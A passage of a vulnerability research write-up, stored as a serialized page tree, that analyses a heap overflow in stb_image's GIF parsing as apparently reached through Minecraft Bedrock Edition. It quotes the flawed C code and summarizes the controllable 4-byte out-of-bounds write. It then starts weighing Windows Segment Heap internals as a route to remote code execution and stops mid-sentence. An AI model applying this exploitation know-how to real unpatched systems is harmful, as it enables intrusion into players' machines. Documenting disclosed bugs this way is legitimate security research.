",{"type":21,"tag":198,"props":149151,"children":149152},{"style":226},[149153],{"type":27,"value":149154},"pal",{"type":21,"tag":198,"props":149156,"children":149157},{"style":211},[149158],{"type":27,"value":2051},{"type":21,"tag":198,"props":149160,"children":149161},{"style":2540},[149162],{"type":27,"value":93677},{"type":21,"tag":198,"props":149164,"children":149165},{"style":211},[149166],{"type":27,"value":2061},{"type":21,"tag":198,"props":149168,"children":149169},{"style":2540},[149170],{"type":27,"value":18330},{"type":21,"tag":198,"props":149172,"children":149173},{"style":211},[149174],{"type":27,"value":149175},"],",{"type":21,"tag":198,"props":149177,"children":149178},{"style":1233},[149179],{"type":27,"value":149180}," // g->color_table\n",{"type":21,"tag":198,"props":149182,"children":149183},{"class":200,"line":260},[149184,149188,149193],{"type":21,"tag":198,"props":149185,"children":149186},{"style":249},[149187],{"type":27,"value":19871},{"type":21,"tag":198,"props":149189,"children":149190},{"style":226},[149191],{"type":27,"value":149192}," num_entries",{"type":21,"tag":198,"props":149194,"children":149195},{"style":211},[149196],{"type":27,"value":257},{"type":21,"tag":198,"props":149198,"children":149199},{"class":200,"line":281},[149200,149204],{"type":21,"tag":198,"props":149201,"children":149202},{"style":249},[149203],{"type":27,"value":19871},{"type":21,"tag":198,"props":149205,"children":149206},{"style":211},[149207],{"type":27,"value":149208}," transp\n",{"type":21,"tag":198,"props":149210,"children":149211},{"class":200,"line":302},[149212],{"type":21,"tag":198,"props":149213,"children":149214},{"style":211},[149215],{"type":27,"value":668},{"type":21,"tag":198,"props":149217,"children":149218},{"class":200,"line":323},[149219,149223],{"type":21,"tag":198,"props":149220,"children":149221},{"style":249},[149222],{"type":27,"value":148271},{"type":21,"tag":198,"props":149224,"children":149225},{"style":211},[149226],{"type":27,"value":58341},{"type":21,"tag":198,"props":149228,"children":149229},{"class":200,"line":344},[149230,149235,149240,149244,149248,149252,149256,149261,149265],{"type":21,"tag":198,"props":149231,"children":149232},{"style":640},[149233],{"type":27,"value":149234}," for",{"type":21,"tag":198,"props":149236,"children":149237},{"style":211},[149238],{"type":27,"value":149239}," (i",{"type":21,"tag":198,"props":149241,"children":149242},{"style":683},[149243],{"type":27,"value":3174},{"type":21,"tag":198,"props":149245,"children":149246},{"style":2540},[149247],{"type":27,"value":3482},{"type":21,"tag":198,"props":149249,"children":149250},{"style":211},[149251],{"type":27,"value":51609},{"type":21,"tag":198,"props":149253,"children":149254},{"style":683},[149255],{"type":27,"value":3159},{"type":21,"tag":198,"props":149257,"children":149258},{"style":211},[149259],{"type":27,"value":149260}," num_entries; ",{"type":21,"tag":198,"props":149262,"children":149263},{"style":683},[149264],{"type":27,"value":51645},{"type":21,"tag":198,"props":149266,"children":149267},{"style":211},[149268],{"type":27,"value":149269},"i) {\n",{"type":21,"tag":198,"props":149271,"children":149272},{"class":200,"line":365},[149273,149278,149282,149286,149290,149294,149299],{"type":21,"tag":198,"props":149274,"children":149275},{"style":226},[149276],{"type":27,"value":149277}," pal",{"type":21,"tag":198,"props":149279,"children":149280},{"style":211},[149281],{"type":27,"value":61032},{"type":21,"tag":198,"props":149283,"children":149284},{"style":2540},[149285],{"type":27,"value":3931},{"type":21,"tag":198,"props":149287,"children":149288},{"style":211},[149289],{"type":27,"value":9472},{"type":21,"tag":198,"props":149291,"children":149292},{"style":683},[149293],{"type":27,"value":3174},{"type":21,"tag":198,"props":149295,"children":149296},{"style":698},[149297],{"type":27,"value":149298}," stbi__get8",{"type":21,"tag":198,"props":149300,"children":149301},{"style":211},[149302],{"type":27,"value":149303},"(s);\n",{"type":21,"tag":198,"props":149305,"children":149306},{"class":200,"line":386},[149307,149311,149315,149319,149323,149327,149331],{"type":21,"tag":198,"props":149308,"children":149309},{"style":226},[149310],{"type":27,"value":149277},{"type":21,"tag":198,"props":149312,"children":149313},{"style":211},[149314],{"type":27,"value":61032},{"type":21,"tag":198,"props":149316,"children":149317},{"style":2540},[149318],{"type":27,"value":134},{"type":21,"tag":198,"props":149320,"children":149321},{"style":211},[149322],{"type":27,"value":9472},{"type":21,"tag":198,"props":149324,"children":149325},{"style":683},[149326],{"type":27,"value":3174},{"type":21,"tag":198,"props":149328,"children":149329},{"style":698},[149330],{"type":27,"value":149298},{"type":21,"tag":198,"props":149332,"children":149333},{"style":211},[149334],{"type":27,"value":149303},{"type":21,"tag":198,"props":149336,"children":149337},{"class":200,"line":408},[149338,149342,149346,149350,149354,149358,149362],{"type":21,"tag":198,"props":149339,"children":149340},{"style":226},[149341],{"type":27,"value":149277},{"type":21,"tag":198,"props":149343,"children":149344},{"style":211},[149345],{"type":27,"value":61032},{"type":21,"tag":198,"props":149347,"children":149348},{"style":2540},[149349],{"type":27,"value":3482},{"type":21,"tag":198,"props":149351,"children":149352},{"style":211},[149353],{"type":27,"value":9472},{"type":21,"tag":198,"props":149355,"children":149356},{"style":683},[149357],{"type":27,"value":3174},{"type":21,"tag":198,"props":149359,"children":149360},{"style":698},[149361],{"type":27,"value":149298},{"type":21,"tag":198,"props":149363,"children":149364},{"style":211},[149365],{"type":27,"value":149303},{"type":21,"tag":198,"props":149367,"children":149368},{"class":200,"line":429},[149369,149373,149377,149381,149385,149389,149394,149398,149402,149406,149410,149414,149419],{"type":21,"tag":198,"props":149370,"children":149371},{"style":226},[149372],{"type":27,"value":149277},{"type":21,"tag":198,"props":149374,"children":149375},{"style":211},[149376],{"type":27,"value":61032},{"type":21,"tag":198,"props":149378,"children":149379},{"style":2540},[149380],{"type":27,"value":18097},{"type":21,"tag":198,"props":149382,"children":149383},{"style":211},[149384],{"type":27,"value":9472},{"type":21,"tag":198,"props":149386,"children":149387},{"style":683},[149388],{"type":27,"value":3174},{"type":21,"tag":198,"props":149390,"children":149391},{"style":211},[149392],{"type":27,"value":149393}," transp ",{"type":21,"tag":198,"props":149395,"children":149396},{"style":683},[149397],{"type":27,"value":9386},{"type":21,"tag":198,"props":149399,"children":149400},{"style":211},[149401],{"type":27,"value":54920},{"type":21,"tag":198,"props":149403,"children":149404},{"style":683},[149405],{"type":27,"value":2156},{"type":21,"tag":198,"props":149407,"children":149408},{"style":2540},[149409],{"type":27,"value":3855},{"type":21,"tag":198,"props":149411,"children":149412},{"style":683},[149413],{"type":27,"value":35891},{"type":21,"tag":198,"props":149415,"children":149416},{"style":2540},[149417],{"type":27,"value":149418}," 255",{"type":21,"tag":198,"props":149420,"children":149421},{"style":211},[149422],{"type":27,"value":1483},{"type":21,"tag":198,"props":149424,"children":149425},{"class":200,"line":450},[149426],{"type":21,"tag":198,"props":149427,"children":149428},{"style":211},[149429],{"type":27,"value":35525},{"type":21,"tag":198,"props":149431,"children":149432},{"class":200,"line":468},[149433],{"type":21,"tag":198,"props":149434,"children":149435},{"style":211},[149436],{"type":27,"value":1120},{"type":21,"tag":30,"props":149438,"children":149439},{},[149440,149442,149447,149448,149453,149455,149460],{"type":27,"value":149441},"The first three bytes are read from the input image, while the last byte can be either ",{"type":21,"tag":194,"props":149443,"children":149445},{"className":149444},[],[149446],{"type":27,"value":3482},{"type":27,"value":13940},{"type":21,"tag":194,"props":149449,"children":149451},{"className":149450},[],[149452],{"type":27,"value":113725},{"type":27,"value":149454},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":21,"tag":194,"props":149456,"children":149458},{"className":149457},[],[149459],{"type":27,"value":30648},{"type":27,"value":185},{"type":21,"tag":187,"props":149462,"children":149464},{"code":149463,"language":3954,"meta":7,"className":17318,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[149465],{"type":21,"tag":194,"props":149466,"children":149467},{"__ignoreMap":7},[149468,149531,149570,149609,149648,149687,149726],{"type":21,"tag":198,"props":149469,"children":149470},{"class":200,"line":201},[149471,149475,149479,149483,149487,149491,149495,149499,149503,149507,149511,149515,149519,149523,149527],{"type":21,"tag":198,"props":149472,"children":149473},{"style":211},[149474],{"type":27,"value":148785},{"type":21,"tag":198,"props":149476,"children":149477},{"style":683},[149478],{"type":27,"value":3174},{"type":21,"tag":198,"props":149480,"children":149481},{"style":683},[149482],{"type":27,"value":7953},{"type":21,"tag":198,"props":149484,"children":149485},{"style":211},[149486],{"type":27,"value":109680},{"type":21,"tag":198,"props":149488,"children":149489},{"style":683},[149490],{"type":27,"value":14564},{"type":21,"tag":198,"props":149492,"children":149493},{"style":226},[149494],{"type":27,"value":148806},{"type":21,"tag":198,"props":149496,"children":149497},{"style":211},[149498],{"type":27,"value":2051},{"type":21,"tag":198,"props":149500,"children":149501},{"style":226},[149502],{"type":27,"value":109680},{"type":21,"tag":198,"props":149504,"children":149505},{"style":211},[149506],{"type":27,"value":14564},{"type":21,"tag":198,"props":149508,"children":149509},{"style":226},[149510],{"type":27,"value":148823},{"type":21,"tag":198,"props":149512,"children":149513},{"style":211},[149514],{"type":27,"value":148828},{"type":21,"tag":198,"props":149516,"children":149517},{"style":226},[149518],{"type":27,"value":148833},{"type":21,"tag":198,"props":149520,"children":149521},{"style":683},[149522],{"type":27,"value":10626},{"type":21,"tag":198,"props":149524,"children":149525},{"style":2540},[149526],{"type":27,"value":12555},{"type":21,"tag":198,"props":149528,"children":149529},{"style":211},[149530],{"type":27,"value":32361},{"type":21,"tag":198,"props":149532,"children":149533},{"class":200,"line":217},[149534,149538,149542,149546,149550,149554,149558,149562,149566],{"type":21,"tag":198,"props":149535,"children":149536},{"style":640},[149537],{"type":27,"value":53020},{"type":21,"tag":198,"props":149539,"children":149540},{"style":211},[149541],{"type":27,"value":648},{"type":21,"tag":198,"props":149543,"children":149544},{"style":226},[149545],{"type":27,"value":3954},{"type":21,"tag":198,"props":149547,"children":149548},{"style":211},[149549],{"type":27,"value":2051},{"type":21,"tag":198,"props":149551,"children":149552},{"style":2540},[149553],{"type":27,"value":18097},{"type":21,"tag":198,"props":149555,"children":149556},{"style":211},[149557],{"type":27,"value":9472},{"type":21,"tag":198,"props":149559,"children":149560},{"style":683},[149561],{"type":27,"value":11270},{"type":21,"tag":198,"props":149563,"children":149564},{"style":2540},[149565],{"type":27,"value":148881},{"type":21,"tag":198,"props":149567,"children":149568},{"style":211},[149569],{"type":27,"value":668},{"type":21,"tag":198,"props":149571,"children":149572},{"class":200,"line":236},[149573,149577,149581,149585,149589,149593,149597,149601,149605],{"type":21,"tag":198,"props":149574,"children":149575},{"style":226},[149576],{"type":27,"value":148893},{"type":21,"tag":198,"props":149578,"children":149579},{"style":211},[149580],{"type":27,"value":2051},{"type":21,"tag":198,"props":149582,"children":149583},{"style":2540},[149584],{"type":27,"value":3482},{"type":21,"tag":198,"props":149586,"children":149587},{"style":211},[149588],{"type":27,"value":9472},{"type":21,"tag":198,"props":149590,"children":149591},{"style":683},[149592],{"type":27,"value":3174},{"type":21,"tag":198,"props":149594,"children":149595},{"style":226},[149596],{"type":27,"value":38207},{"type":21,"tag":198,"props":149598,"children":149599},{"style":211},[149600],{"type":27,"value":2051},{"type":21,"tag":198,"props":149602,"children":149603},{"style":2540},[149604],{"type":27,"value":3931},{"type":21,"tag":198,"props":149606,"children":149607},{"style":211},[149608],{"type":27,"value":32361},{"type":21,"tag":198,"props":149610,"children":149611},{"class":200,"line":260},[149612,149616,149620,149624,149628,149632,149636,149640,149644],{"type":21,"tag":198,"props":149613,"children":149614},{"style":226},[149615],{"type":27,"value":148893},{"type":21,"tag":198,"props":149617,"children":149618},{"style":211},[149619],{"type":27,"value":2051},{"type":21,"tag":198,"props":149621,"children":149622},{"style":2540},[149623],{"type":27,"value":134},{"type":21,"tag":198,"props":149625,"children":149626},{"style":211},[149627],{"type":27,"value":9472},{"type":21,"tag":198,"props":149629,"children":149630},{"style":683},[149631],{"type":27,"value":3174},{"type":21,"tag":198,"props":149633,"children":149634},{"style":226},[149635],{"type":27,"value":38207},{"type":21,"tag":198,"props":149637,"children":149638},{"style":211},[149639],{"type":27,"value":2051},{"type":21,"tag":198,"props":149641,"children":149642},{"style":2540},[149643],{"type":27,"value":134},{"type":21,"tag":198,"props":149645,"children":149646},{"style":211},[149647],{"type":27,"value":32361},{"type":21,"tag":198,"props":149649,"children":149650},{"class":200,"line":281},[149651,149655,149659,149663,149667,149671,149675,149679,149683],{"type":21,"tag":198,"props":149652,"children":149653},{"style":226},[149654],{"type":27,"value":148893},{"type":21,"tag":198,"props":149656,"children":149657},{"style":211},[149658],{"type":27,"value":2051},{"type":21,"tag":198,"props":149660,"children":149661},{"style":2540},[149662],{"type":27,"value":3931},{"type":21,"tag":198,"props":149664,"children":149665},{"style":211},[149666],{"type":27,"value":9472},{"type":21,"tag":198,"props":149668,"children":149669},{"style":683},[149670],{"type":27,"value":3174},{"type":21,"tag":198,"props":149672,"children":149673},{"style":226},[149674],{"type":27,"value":38207},{"type":21,"tag":198,"props":149676,"children":149677},{"style":211},[149678],{"type":27,"value":2051},{"type":21,"tag":198,"props":149680,"children":149681},{"style":2540},[149682],{"type":27,"value":3482},{"type":21,"tag":198,"props":149684,"children":149685},{"style":211},[149686],{"type":27,"value":32361},{"type":21,"tag":198,"props":149688,"children":149689},{"class":200,"line":302},[149690,149694,149698,149702,149706,149710,149714,149718,149722],{"type":21,"tag":198,"props":149691,"children":149692},{"style":226},[149693],{"type":27,"value":148893},{"type":21,"tag":198,"props":149695,"children":149696},{"style":211},[149697],{"type":27,"value":2051},{"type":21,"tag":198,"props":149699,"children":149700},{"style":2540},[149701],{"type":27,"value":18097},{"type":21,"tag":198,"props":149703,"children":149704},{"style":211},[149705],{"type":27,"value":9472},{"type":21,"tag":198,"props":149707,"children":149708},{"style":683},[149709],{"type":27,"value":3174},{"type":21,"tag":198,"props":149711,"children":149712},{"style":226},[149713],{"type":27,"value":38207},{"type":21,"tag":198,"props":149715,"children":149716},{"style":211},[149717],{"type":27,"value":2051},{"type":21,"tag":198,"props":149719,"children":149720},{"style":2540},[149721],{"type":27,"value":18097},{"type":21,"tag":198,"props":149723,"children":149724},{"style":211},[149725],{"type":27,"value":32361},{"type":21,"tag":198,"props":149727,"children":149728},{"class":200,"line":323},[149729],{"type":21,"tag":198,"props":149730,"children":149731},{"style":211},[149732],{"type":27,"value":35525},{"type":21,"tag":30,"props":149734,"children":149735},{},[149736,149737,149742,149744,149749,149751,149756],{"type":27,"value":24819},{"type":21,"tag":194,"props":149738,"children":149740},{"className":149739},[],[149741],{"type":27,"value":149093},{"type":27,"value":149743}," has to set the last byte to ",{"type":21,"tag":194,"props":149745,"children":149747},{"className":149746},[],[149748],{"type":27,"value":113725},{"type":27,"value":149750}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":21,"tag":194,"props":149752,"children":149754},{"className":149753},[],[149755],{"type":27,"value":113725},{"type":27,"value":658},{"type":21,"tag":30,"props":149758,"children":149759},{},[149760,149762,149767,149769,149775,149776,149782],{"type":27,"value":149761},"In the code we can see that size of the ",{"type":21,"tag":194,"props":149763,"children":149765},{"className":149764},[],[149766],{"type":27,"value":148550},{"type":27,"value":149768}," allocation is controlled through ",{"type":21,"tag":194,"props":149770,"children":149772},{"className":149771},[],[149773],{"type":27,"value":149774},"g->w",{"type":27,"value":11801},{"type":21,"tag":194,"props":149777,"children":149779},{"className":149778},[],[149780],{"type":27,"value":149781},"g->h",{"type":27,"value":149783}," values, both of which are read from the input file itself:",{"type":21,"tag":187,"props":149785,"children":149787},{"code":149786,"language":3954,"meta":7,"className":17318,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n [...]\n if (g->out == 0) {\n if (!stbi__gif_header(s, g, comp,0)) return 0;\n g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[149788],{"type":21,"tag":194,"props":149789,"children":149790},{"__ignoreMap":7},[149791,149816,149823,149830,149865,149911],{"type":21,"tag":198,"props":149792,"children":149793},{"class":200,"line":201},[149794,149798,149803,149807,149811],{"type":21,"tag":198,"props":149795,"children":149796},{"style":249},[149797],{"type":27,"value":51420},{"type":21,"tag":198,"props":149799,"children":149800},{"style":211},[149801],{"type":27,"value":149802}," stbi_uc ",{"type":21,"tag":198,"props":149804,"children":149805},{"style":683},[149806],{"type":27,"value":5383},{"type":21,"tag":198,"props":149808,"children":149809},{"style":698},[149810],{"type":27,"value":147729},{"type":21,"tag":198,"props":149812,"children":149813},{"style":211},[149814],{"type":27,"value":149815},"(...)\n",{"type":21,"tag":198,"props":149817,"children":149818},{"class":200,"line":217},[149819],{"type":21,"tag":198,"props":149820,"children":149821},{"style":211},[149822],{"type":27,"value":11689},{"type":21,"tag":198,"props":149824,"children":149825},{"class":200,"line":236},[149826],{"type":21,"tag":198,"props":149827,"children":149828},{"style":211},[149829],{"type":27,"value":148291},{"type":21,"tag":198,"props":149831,"children":149832},{"class":200,"line":260},[149833,149837,149841,149845,149849,149853,149857,149861],{"type":21,"tag":198,"props":149834,"children":149835},{"style":640},[149836],{"type":27,"value":53020},{"type":21,"tag":198,"props":149838,"children":149839},{"style":211},[149840],{"type":27,"value":648},{"type":21,"tag":198,"props":149842,"children":149843},{"style":226},[149844],{"type":27,"value":109680},{"type":21,"tag":198,"props":149846,"children":149847},{"style":211},[149848],{"type":27,"value":14564},{"type":21,"tag":198,"props":149850,"children":149851},{"style":226},[149852],{"type":27,"value":119103},{"type":21,"tag":198,"props":149854,"children":149855},{"style":683},[149856],{"type":27,"value":4089},{"type":21,"tag":198,"props":149858,"children":149859},{"style":2540},[149860],{"type":27,"value":3855},{"type":21,"tag":198,"props":149862,"children":149863},{"style":211},[149864],{"type":27,"value":668},{"type":21,"tag":198,"props":149866,"children":149867},{"class":200,"line":281},[149868,149872,149876,149880,149885,149890,149894,149899,149903,149907],{"type":21,"tag":198,"props":149869,"children":149870},{"style":640},[149871],{"type":27,"value":676},{"type":21,"tag":198,"props":149873,"children":149874},{"style":211},[149875],{"type":27,"value":648},{"type":21,"tag":198,"props":149877,"children":149878},{"style":683},[149879],{"type":27,"value":686},{"type":21,"tag":198,"props":149881,"children":149882},{"style":698},[149883],{"type":27,"value":149884},"stbi__gif_header",{"type":21,"tag":198,"props":149886,"children":149887},{"style":211},[149888],{"type":27,"value":149889},"(s, g, comp,",{"type":21,"tag":198,"props":149891,"children":149892},{"style":2540},[149893],{"type":27,"value":3482},{"type":21,"tag":198,"props":149895,"children":149896},{"style":211},[149897],{"type":27,"value":149898},")) ",{"type":21,"tag":198,"props":149900,"children":149901},{"style":640},[149902],{"type":27,"value":1546},{"type":21,"tag":198,"props":149904,"children":149905},{"style":2540},[149906],{"type":27,"value":3855},{"type":21,"tag":198,"props":149908,"children":149909},{"style":211},[149910],{"type":27,"value":1483},{"type":21,"tag":198,"props":149912,"children":149913},{"class":200,"line":302},[149914,149919,149923,149927,149931,149936,149940,149944,149949,149953,149957,149961,149965,149969,149973,149977,149981,149985,149989],{"type":21,"tag":198,"props":149915,"children":149916},{"style":226},[149917],{"type":27,"value":149918}," g",{"type":21,"tag":198,"props":149920,"children":149921},{"style":211},[149922],{"type":27,"value":14564},{"type":21,"tag":198,"props":149924,"children":149925},{"style":226},[149926],{"type":27,"value":119103},{"type":21,"tag":198,"props":149928,"children":149929},{"style":683},[149930],{"type":27,"value":979},{"type":21,"tag":198,"props":149932,"children":149933},{"style":211},[149934],{"type":27,"value":149935}," (stbi_uc ",{"type":21,"tag":198,"props":149937,"children":149938},{"style":683},[149939],{"type":27,"value":5383},{"type":21,"tag":198,"props":149941,"children":149942},{"style":211},[149943],{"type":27,"value":1541},{"type":21,"tag":198,"props":149945,"children":149946},{"style":698},[149947],{"type":27,"value":149948},"stbi__malloc",{"type":21,"tag":198,"props":149950,"children":149951},{"style":211},[149952],{"type":27,"value":706},{"type":21,"tag":198,"props":149954,"children":149955},{"style":2540},[149956],{"type":27,"value":18330},{"type":21,"tag":198,"props":149958,"children":149959},{"style":683},[149960],{"type":27,"value":10626},{"type":21,"tag":198,"props":149962,"children":149963},{"style":226},[149964],{"type":27,"value":148331},{"type":21,"tag":198,"props":149966,"children":149967},{"style":211},[149968],{"type":27,"value":14564},{"type":21,"tag":198,"props":149970,"children":149971},{"style":226},[149972],{"type":27,"value":2692},{"type":21,"tag":198,"props":149974,"children":149975},{"style":683},[149976],{"type":27,"value":10626},{"type":21,"tag":198,"props":149978,"children":149979},{"style":226},[149980],{"type":27,"value":148331},{"type":21,"tag":198,"props":149982,"children":149983},{"style":211},[149984],{"type":27,"value":14564},{"type":21,"tag":198,"props":149986,"children":149987},{"style":226},[149988],{"type":27,"value":84727},{"type":21,"tag":198,"props":149990,"children":149991},{"style":211},[149992],{"type":27,"value":1470},{"type":21,"tag":30,"props":149994,"children":149995},{},[149996,149998,150003,150005,150010],{"type":27,"value":149997},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":21,"tag":194,"props":149999,"children":150001},{"className":150000},[],[150002],{"type":27,"value":148550},{"type":27,"value":150004}," and the value of ",{"type":21,"tag":194,"props":150006,"children":150008},{"className":150007},[],[150009],{"type":27,"value":30},{"type":27,"value":150011}," just before the OOB write happens:",{"type":21,"tag":187,"props":150013,"children":150015},{"code":150014},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[150016],{"type":21,"tag":194,"props":150017,"children":150018},{"__ignoreMap":7},[150019],{"type":27,"value":150014},{"type":21,"tag":30,"props":150021,"children":150022},{},[150023,150025,150030,150032,150037],{"type":27,"value":150024},"There are multiple within-bound writes to ",{"type":21,"tag":194,"props":150026,"children":150028},{"className":150027},[],[150029],{"type":27,"value":30},{"type":27,"value":150031},", but the last write happens just after the ",{"type":21,"tag":194,"props":150033,"children":150035},{"className":150034},[],[150036],{"type":27,"value":148550},{"type":27,"value":150038}," allocation.",{"type":21,"tag":59,"props":150040,"children":150042},{"id":150041},"summarizing-the-corruption",[150043],{"type":27,"value":150044},"Summarizing the Corruption",{"type":21,"tag":138,"props":150046,"children":150047},{},[150048,150061,150089],{"type":21,"tag":75,"props":150049,"children":150050},{},[150051,150053,150059],{"type":27,"value":150052},"A single ",{"type":21,"tag":194,"props":150054,"children":150056},{"className":150055},[],[150057],{"type":27,"value":150058},"0x01",{"type":27,"value":150060}," byte write OOB",{"type":21,"tag":75,"props":150062,"children":150063},{},[150064,150066],{"type":27,"value":150065},"4-byte OOB write just above the allocated buffer\n",{"type":21,"tag":138,"props":150067,"children":150068},{},[150069,150074,150084],{"type":21,"tag":75,"props":150070,"children":150071},{},[150072],{"type":27,"value":150073},"First three bytes are controllable",{"type":21,"tag":75,"props":150075,"children":150076},{},[150077,150079],{"type":27,"value":150078},"Last byte will be ",{"type":21,"tag":194,"props":150080,"children":150082},{"className":150081},[],[150083],{"type":27,"value":113725},{"type":21,"tag":75,"props":150085,"children":150086},{},[150087],{"type":27,"value":150088},"Size of the allocation is controlled",{"type":21,"tag":75,"props":150090,"children":150091},{},[150092,150094],{"type":27,"value":150093},"Both corruptions are done on a short-lived allocation\n",{"type":21,"tag":138,"props":150095,"children":150096},{},[150097,150102],{"type":21,"tag":75,"props":150098,"children":150099},{},[150100],{"type":27,"value":150101},"Allocated just before the image-parsing process",{"type":21,"tag":75,"props":150103,"children":150104},{},[150105],{"type":27,"value":150106},"Freed immediately upon parsing completion",{"type":21,"tag":19590,"props":150108,"children":150109},{},[],{"type":21,"tag":30,"props":150111,"children":150112},{},[150113,150115,150122,150124,150131],{"type":27,"value":150114},"Note that this bug was already found before (",{"type":21,"tag":34,"props":150116,"children":150119},{"href":150117,"rel":150118},"https://github.com/nothings/stb/issues/656",[38],[150120],{"type":27,"value":150121},"Github Issue",{"type":27,"value":150123},") but we missed it at the time. It was later fixed in ",{"type":21,"tag":34,"props":150125,"children":150128},{"href":150126,"rel":150127},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[38],[150129],{"type":27,"value":150130},"this commit",{"type":27,"value":658},{"type":21,"tag":22,"props":150133,"children":150134},{"id":6232},[150135],{"type":27,"value":6235},{"type":21,"tag":30,"props":150137,"children":150138},{},[150139],{"type":27,"value":150140},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":21,"tag":30,"props":150142,"children":150143},{},[150144],{"type":27,"value":150145},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":21,"tag":59,"props":150147,"children":150149},{"id":150148},"searching-for-better-primitives",[150150],{"type":27,"value":150151},"Searching for Better Primitives",{"type":21,"tag":30,"props":150153,"children":150154},{},[150155],{"type":27,"value":150156},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":21,"tag":30,"props":150158,"children":150159},{},[150160,150162,150169],{"type":27,"value":150161},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":21,"tag":34,"props":150163,"children":150166},{"href":150164,"rel":150165},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[38],[150167],{"type":27,"value":150168},"UWP",{"type":27,"value":150170}," applications (such as Minecraft Bedrock Edition).",{"type":21,"tag":59,"props":150172,"children":150174},{"id":150173},"segment-heap",[150175],{"type":27,"value":150176},"Segment Heap",{"type":21,"tag":30,"props":150178,"children":150179},{},[150180,150182,150189],{"type":27,"value":150181},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":21,"tag":34,"props":150183,"children":150186},{"href":150184,"rel":150185},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[38],[150187],{"type":27,"value":150188},"this talk",{"type":27,"value":150190}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":21,"tag":162,"props":150192,"children":150194},{"id":150193},"low-fragmentation-heap",[150195],{"type":27,"value":150196},"Low Fragmentation Heap",{"type":21,"tag":30,"props":150198,"children":150199},{},[150200,150202,150208],{"type":27,"value":150201},"Low Fragmentation Heap (LFH) services allocations of ",{"type":21,"tag":194,"props":150203,"children":150205},{"className":150204},[],[150206],{"type":27,"value":150207},"0x3ff0",{"type":27,"value":150209}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":21,"tag":30,"props":150211,"children":150212},{},[150213],{"type":27,"value":150214},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":21,"tag":187,"props":150216,"children":150218},{"code":150217}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[150219],{"type":21,"tag":194,"props":150220,"children":150221},{"__ignoreMap":7},[150222],{"type":27,"value":150217},{"type":21,"tag":30,"props":150224,"children":150225},{},[150226],{"type":27,"value":150227},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":21,"tag":162,"props":150229,"children":150231},{"id":150230},"variable-size",[150232],{"type":27,"value":150233},"Variable Size",{"type":21,"tag":30,"props":150235,"children":150236},{},[150237,150239,150245,150247,150253],{"type":27,"value":150238},"This subsegment is used for allocation sizes from ",{"type":21,"tag":194,"props":150240,"children":150242},{"className":150241},[],[150243],{"type":27,"value":150244},"0x4000",{"type":27,"value":150246}," and up to ",{"type":21,"tag":194,"props":150248,"children":150250},{"className":150249},[],[150251],{"type":27,"value":150252},"0x20_000",{"type":27,"value":150254},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":21,"tag":187,"props":150256,"children":150258},{"code":150257}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[150259],{"type":21,"tag":194,"props":150260,"children":150261},{"__ignoreMap":7},[150262],{"type":27,"value":150257},{"type":21,"tag":30,"props":150264,"children":150265},{},[150266,150268,150274],{"type":27,"value":150267},"The header, ",{"type":21,"tag":194,"props":150269,"children":150271},{"className":150270},[],[150272],{"type":27,"value":150273},"HEAP_VS_CHUNK_HEADER",{"type":27,"value":150275},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":21,"tag":19590,"props":150277,"children":150278},{},[],{"type":21,"tag":30,"props":150280,"children":150281},{},[150282],{"type":27,"value":150283},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":21,"tag":30,"props":150285,"children":150286},{},[150287,150289,150296],{"type":27,"value":150288},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a 